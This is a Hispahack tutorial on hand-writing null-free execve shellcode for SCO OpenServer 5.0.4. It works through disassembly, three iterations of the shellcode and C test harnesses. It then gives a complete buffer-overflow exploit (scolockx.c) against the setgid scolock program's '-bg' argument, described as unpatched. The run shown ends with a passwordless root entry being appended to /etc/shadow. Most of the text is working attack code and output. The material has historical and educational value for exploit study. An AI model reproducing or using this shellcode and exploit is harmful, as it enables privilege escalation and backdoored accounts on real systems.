Programming a shellcode in SCO
By Renegade Master
IntroductionThe first time I faced programming an exploit based upon a buffer overflow, it was under Linux and I simply selected a shellcode which was previously coded by someone else from the tons available and pasted it into my code.Nonetheless when I tried to do the same in SCO i realized that there weren't practically any shellcodes for SCO, I could only find 2 acceptable shellcodes (although they lacked debugging) which were the ones the rest were based upon.Thus I decided to start programming my own shellcode from scratch, trying to make it more efficient and compact than the other ones. This is the result...GdbFirstly let's take a look at how a SCO machine works when it executes a command (/bin/sh in this case).**NOTE** All examples are taken from a SCO OpenServer 5.0.4 machine so some of them may not work under another SCO type of Unix (like unixware) although I have tried to make it as portable as possible.We create a little program in C that simply executes '/bin/sh'.-execve.c----------------------------------------------------------------- main() {execve("/bin/sh",0,0);} --------------------------------------------------------------------------scosysv:~$ ./execve $It works.We compile it and trace it through the debugger (gdb in this case) to see its assembler output.scosysv:~# gdb GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15.1 (i486-sco3.2v5.0), Copyright 1995 Free Software Foundation, Inc. (gdb) file execve Reading symbols from execve...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: 0x15c <main>: jmp 0x171 <main+21> 0x15e <main+2>: pushl $0x0 0x160 <main+4>: pushl $0x0 0x162 <main+6>: pushl $0x400878 0x167 <main+11>: call 0x2fc <_execve> 0x16c <main+16>: addl $0xc,%esp 0x16f <main+19>: leave 0x170 <main+20>: ret 0x171 <main+21>: pushl %ebp 0x172 <main+22>: movl %esp,%ebp 0x174 <main+24>: jmp 0x15e <main+2> 0x176 <main+26>: nop 0x177 <main+27>: nop End of assembler dump. (gdb) disassemble execve Dump of assembler code for function _execve: 0x2fc <_execve>: movl $0x3b,%eax 0x301 <_execve+5>: lcall 0x7,0x0 0x308 <_execve+12>: jmp 0x7f8 <_cerror> 0x30d <_execve+17>: nop 0x30e <_execve+18>: nop 0x30f <_execve+19>: nop End of assembler dump.Once this has been seen we obtain a little assembler draft.main: pushl 0x0 pushl 0x0 pushl address_of_/bin/sh call execve execve: movl $0x3b,%eax lcall 0x7,0x0As you can see it is simpler than in other systems like Linux, just 6 lines of assembly code.It still is a very rough draft and needs to be sharpened, but it will become the skeleton of our shellcode.Shellcode 1We've already a little assembly draft of what we should do, so we start with a very simple shellcode, without any kind of debugging, it will serve us as a foundation to develop more advanced ones.We start from the previous draft:main: pushl 0x0 pushl 0x0 pushl address_of_/bin/sh call execve execve: movl $0x3b,%eax lcall 0x7,0x0We have to add to it some more code:(1) We need to put the string /bin/sh in memory (2) We need a routine to know where that string is located.The code we obtain is:"\xeb\x12" // start: jmp uno (2) "\x5e" // dos: popl %esi "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xb0\x3b" // movb $0x3b,%al "\x53" // pushl %ebx "\x53" // pushl %ebx "\x56" // pushl %esi "\x56" // pushl %esi (3) "\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0 "\xe8\xe9\xff\xff\xff" // uno: call dos "/bin/sh\x00"; // (1)(1) We put the string /bin/sh at the end of the code.(2) We do a call before the string /bin/sh [call dos], thus the address of the string is stored on the stack (when we do a call the %eip register is pushed on the stack) then we retrieve it and store it in %esi [popl %esi]The %eip register is the instruction pointer and the value it takes when we do the call is the address of the string /bin/sh.(3) The first three pushl correspond to the execve call. We push a fourth value onto the stack [pushl %esi] to make the thing work.We then create a little C simulator to check the code works properly.-shell30.c---------------------------------------------------------------- char hell[]= "\xeb\x12" // start: jmp uno "\x5e" // dos: popl %esi "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xb0\x3b" // movb $0x3b,%al "\x53" // pushl %ebx "\x53" // pushl %ebx "\x56" // pushl %esi "\x56" // pushl %esi "\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0 "\xe8\xe9\xff\xff\xff" // uno: call dos "/bin/sh\x00";void main() { int *ret;printf("%i\n",strlen(hell));ret = (int *)&ret + 2; (*ret) = (int)hell; } --------------------------------------------------------------------------scosysv~$ shell30 14 $It works.Shellcode 2The previous shellcode isn't very useful in practice as it contains null characters \x00 that will give us many troubles if we want to use them to exploit an overflow.The null character represents the end of a string, so usually if we try to use a shellcode with null characters in an exploit, it will be cut when it is handled by the target program.This second shellcode corrects this defect removing every null bytes with a little self modification routine."\xeb\x16" // start: jmp uno "\x5e" // dos: popl %esi "\x31\xdb" // xorl %ebx,%ebx "\x89\x5e\x07" // movb %bl,0x7(%esi) -> This three lines will set to zero "\x89\x5e\x0c" // movl %ebx,0x0c(%esi) the bytes that were \x00 (and now "\x88\x5e\x11" // movb %bl,0x11(%esi) \xaa) "\x31\xc0" // xorl %eax,%eax "\xb0\x3b" // movb $0x3b,%al "\x53" // pushl %ebx "\x53" // pushl %ebx "\x56" // pushl %esi "\x56" // pushl %esi "\xeb\x10" // jmp execve "\xe8\xe5\xff\xff\xff" // uno: call dos "/bin/sh" "\xaa\xaa\xaa\xaa" "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0The code can be still improved, we could afford 3 or 4 bytes in its size but this improvement would be of little relevance.We change the call to execve [lcall 0x7,0x0] at the end of the code to make it easier to handle.We use again the simulator to check it is working:-shell15.c---------------------------------------------------------------- char hell[]= "\xeb\x16" // start: jmp uno "\x5e" // dos: popl %esi "\x31\xdb" // xorl %ebx,%ebx "\x89\x5e\x07" // movb %bl,0x7(%esi) "\x89\x5e\x0c" // movl %ebx,0x0c(%esi) "\x88\x5e\x11" // movb %bl,0x11(%esi) "\x31\xc0" // xorl %eax,%eax "\xb0\x3b" // movb $0x3b,%al "\x53" // pushl %ebx "\x53" // pushl %ebx "\x56" // pushl %esi "\x56" // pushl %esi "\xeb\x10" // jmp execve "\xe8\xe5\xff\xff\xff" // uno: call dos "/bin/sh" "\xaa\xaa\xaa\xaa" "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0void main() { int *ret;printf("%i\n",strlen(hell));ret = (int *)&ret + 2; (*ret) = (int)hell; } --------------------------------------------------------------------------scosysv~$ shell15 47 $It works.Shellcode 3We will add one more layer of complexity, now we want the shellcode to execute not only a shell (/bin/sh) but also a complete command and we also want it to let us modify the command without the need to recompile the whole shellcode.This means it is more complex as we used a little trick to reduce the size of the first shellcode.The call to execve works in the following way:execve(address_of_the_command,array_of_parameters,array_of_environment_variables) In assembler it would be:push array_of_environment_variables push array_of_parameters push address_of_the_command call execveIn the first shellcode we had simplified the two arrays setting in their place a null pointer:push 0 push 0 push address_of_the_string_/bin/sh call execveNow we cannot define a null pointer as an array of parameters and we have to create an array for them.The array has to contain the command name (argv[0]) and the rest of the arguments.To reduce the number of elements in the array we'll use the '-c' option of the shell./bin/sh -c "command" argv[0] argv[1] argv[2]Thus the array appears like this: argv[0] -> address of the string /bin/sh argv[1] -> address of the string -c argv[2] -> address of the string which contains the command 0 -> null pointer16 bytes total.And in assembler:push 0 push address_of_array push argv[0] -> address of the string /bin/sh call execveNow let's see the resulting shellcode obtained after applying this changes to our shellcode."\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xeb\x30" // jmp uno "\x5e" // dos: popl %esi "\x8d\x7e\x10" // leal 16(%esi),%edi "\x89\xf9" // movl %edi,%ecx "\x89\x3e" // movl %edi,(%esi) "\x8d\x7e\x18" // leal 24(%esi),%edi -> Array creation routine "\x89\x7e\x04" // movl %edi,4(%esi) "\x8d\x7e\x1b" // leal 27(%esi),%edi "\x89\x7e\x08" // movl %edi,8(%esi) "\x89\x5e\x0c" // movl %ebx,12(%esi) "\x89\x5e\xf5" // movl %ebx,-11(%esi) -> \xaa correction routine "\x88\x5e\xfa" // movb %bl,-6(%esi) "\x88\x5e\x17" // movb %bl,23(%esi) "\x88\x5e\x1a" // movb %bl,26(%esi) "\x53" // pushl %ebx "\x56" // pushl %esi "\x51" // pushl %ecx "\x51" // pushl %ecx "\xb0\x3b" // movb 0x3b, %al "\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0 "\xe8\xcb\xff\xff\xff" // uno: call dos "AAAA" // +0 -> This is the array "AAAA" // +4 "AAAA" // +8 "AAAA" // +12 "/bin/shA" // (1) +16 0x10(%esi) -> first string "-cA" // (2) +24 0x18(%esi) -> second string ""; // (3) +27 0x1b(%esi) -> We allocate this space to put here the string of the command to execute.We add a routine which creates a 16 bytes array and stores the addresses of the 3 relevant strings in it, and a null pointer as fourth item of the array to define the end of the array.The number of lines of code to substitute the \xaa by \x00 characters is longer.Now the simulator is a bit more complex:-shell33.c----------------------------------------------------------------- char hell[]= "\x31\xdb" // xorl %ebx,%ebx "\x31\xc0" // xorl %eax,%eax "\xeb\x30" // jmp uno "\x5e" // dos: popl %esi "\x8d\x7e\x10" // leal 16(%esi),%edi "\x89\xf9" // movl %edi,%ecx "\x89\x3e" // movl %edi,(%esi) "\x8d\x7e\x18" // leal 24(%esi),%edi "\x89\x7e\x04" // movl %edi,4(%esi) "\x8d\x7e\x1b" // leal 27(%esi),%edi "\x89\x7e\x08" // movl %edi,8(%esi) "\x89\x5e\x0c" // movl %ebx,12(%esi) "\x89\x5e\xf5" // movl %ebx,-11(%esi) "\x88\x5e\xfa" // movb %bl,-6(%esi) "\x88\x5e\x17" // movb %bl,23(%esi) "\x88\x5e\x1a" // movb %bl,26(%esi) "\x53" // pushl %ebx "\x56" // pushl %esi "\x51" // pushl %ecx "\x51" // pushl %ecx "\xb0\x3b" // movb 0x3b, %al "\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0 "\xe8\xcb\xff\xff\xff" // uno: call dos "AAAA" // +0 "AAAA" // +4 "AAAA" // +8 "AAAA" // +12 "/bin/shA" // (1) +16 0x10(%esi) "-cA" // (2) +24 0x18(%esi) ""; // (3) +27 0x1b(%esi)char buf[300];void main(int argc, char **argv) { int *ret; char cmd[200]; char test[]="/usr/bin/id"; char end[]=";\x00";printf("%i\n",strlen(hell));if(argc < 2) { memcpy(cmd,test,strlen(test)); memcpy(buf,hell,strlen(hell)); memcpy(buf+strlen(hell),cmd,strlen(cmd)); memcpy(buf+strlen(hell)+strlen(cmd),end,strlen(end)); } else { if(argc == 2) { strncpy(cmd,argv[1],strlen(argv[1])); memcpy(buf,hell,strlen(hell)); m emcpy(buf+strlen(hell),cmd,strlen(argv[1])); memcpy(buf+strlen(hell)+strlen(argv[1]),end,strlen(end)); } else { printf("Uso: shell33 \"comando\"\n"); exit(0); } }ret = (int *)&ret + 2; (*ret) = (int)buf;} --------------------------------------------------------------------------The new snippets add the string string holding the command to be executed at the end of the shellcode.scosysv~$ shell33 "/usr/bin/id" 86 uid=200(guest) gid=50(group) groups=50(group)scosysv~$ shell33 "echo hola" 86 holaIt works.Exploit 1Once we have a theoretically working shellcode, we have to test whether it works or not in practice, inside of an exploit.The bug which we're going to exploit is an overflow in one of the scolock (/usr/bin/X11/scolock) program's arguments, a suid screen saver as group 'auth'. -> sgid(auth)$ ls -al /opt/K/SCO/BaseX/5.1.2b/usr/bin/X11/scolock -rwxr-sr-x 1 root auth 155956 May 25 22:50 scolockThis group has read/write access to the /etc/shadow file thus obtaining root using this exploit is hardly a question of time.$ ls -al /etc/shadow -rw-rw---- 1 root auth 323 Jun 14 23:09 /etc/shadowThis program has several exploitable overflows, but let's concentrate in the one that is produced with the '-bg' argument.The following exploit is an unpublished one, and there is no patch for the bug: (Oh my god! someone send this to bugtraq! ;)-scolockx.c--------------------------------------------------------------- /* * <scolockx.c> Local exploit - Gives you an auth group suid shell * * h0h0h0!! auth group has read/write access to /etc/shadow (w3 4r3 r00t!) * * $ ls -al /etc/shadow * -rw-rw---- 1 root auth 323 Jun 14 23:09 /etc/shadow * * Offset: scolockx (SCO OpenServer 5.0.4) * 0 -> with -display parameter * * Usage: * $ cc scolockx.c -o scolockx * $ /usr/bin/X11/scolock -display 1.1.1.1:0 -bg `scolockx 0` * * Note: scolock need to be run from a valid x-display * * By: The Renegade Master * */#include <stdlib.h> #include <stdio.h>char hell[]= "\xeb\x16" // start: jmp uno "\x5e" // dos: popl %esi "\x31\xdb" // xorl %ebx,%ebx "\x89\x5e\x07" // movb %bl,0x7(%esi) "\x89\x5e\x0c" // movl %ebx,0x0c(%esi) "\x88\x5e\x11" // movb %bl,0x11(%esi) "\x31\xc0" // xorl %eax,%eax "\xb0\x3b" // movb $0x3b,%al "\x53" // pushl %ebx "\x53" // pushl %ebx "\x56" // pushl %esi "\x56" // pushl %esi "\xeb\x10" // jmp execve "\xe8\xe5\xff\xff\xff" // uno: call dos "/bin/sh" "\xaa\xaa\xaa\xaa" "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0#define OFF 0x8047a98 // SCO OpenServer 5.0.4 #define ALINEA 0 #define LEN 2000int main(int argc, char *argv[]) {int offset=0; char buf[LEN]; int i;if(argc < 2) { printf("Usage: scolockx <offset>\n"); exit(0); } else { offset=atoi(argv[1]); }memset(buf,0x90,LEN); memcpy(buf+1000,hell,strlen(hell)); for(i=1100+ALINEA;i<LEN-4;i+=4) *(int *)&buf[i]=OFF+offset;for(i=0;i<LEN;i++) putchar(buf[i]);exit(0); } --------------------------------------------------------------------------scosysv:~$ /usr/bin/X11/scolock -display 127.0.0.1:0.0 -bg `./scolockx 0` Warning: Color name "ë^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªª ªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;S SVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿ Warning: some arguments in previous message were lost $ id uid=200(guest) gid=50(group) egid=21(auth) groups=50(group) $ echo "draver::0:0:r00t:/:/bin/sh" >> /etc/shadow As you can see the exploit couldn't be simpler, the most important part is the shellcode, there is where the need to obtain a good shellcode comes, compact and reliable. Other important points to take into account are that the overflowed buffer is about 1800 characters in size, with a correct alignment and a return address which is approximately 0x8047a98. With this information and the shellcode coding the exploit was trivial indeed. Conclusion The first step we should make in every platform to code our own exploits is to obtain a good shellcode, using a previously coded, modifying it or creating our own. But we will achieve the most control over the exploit when the shellcode is self-made. Greetings Renegade Master
(C) 1997-2001 by !Hispahack
Para ver el web en las mejores condiciones, usa una resolución
de 800x600 y Netscape Navigator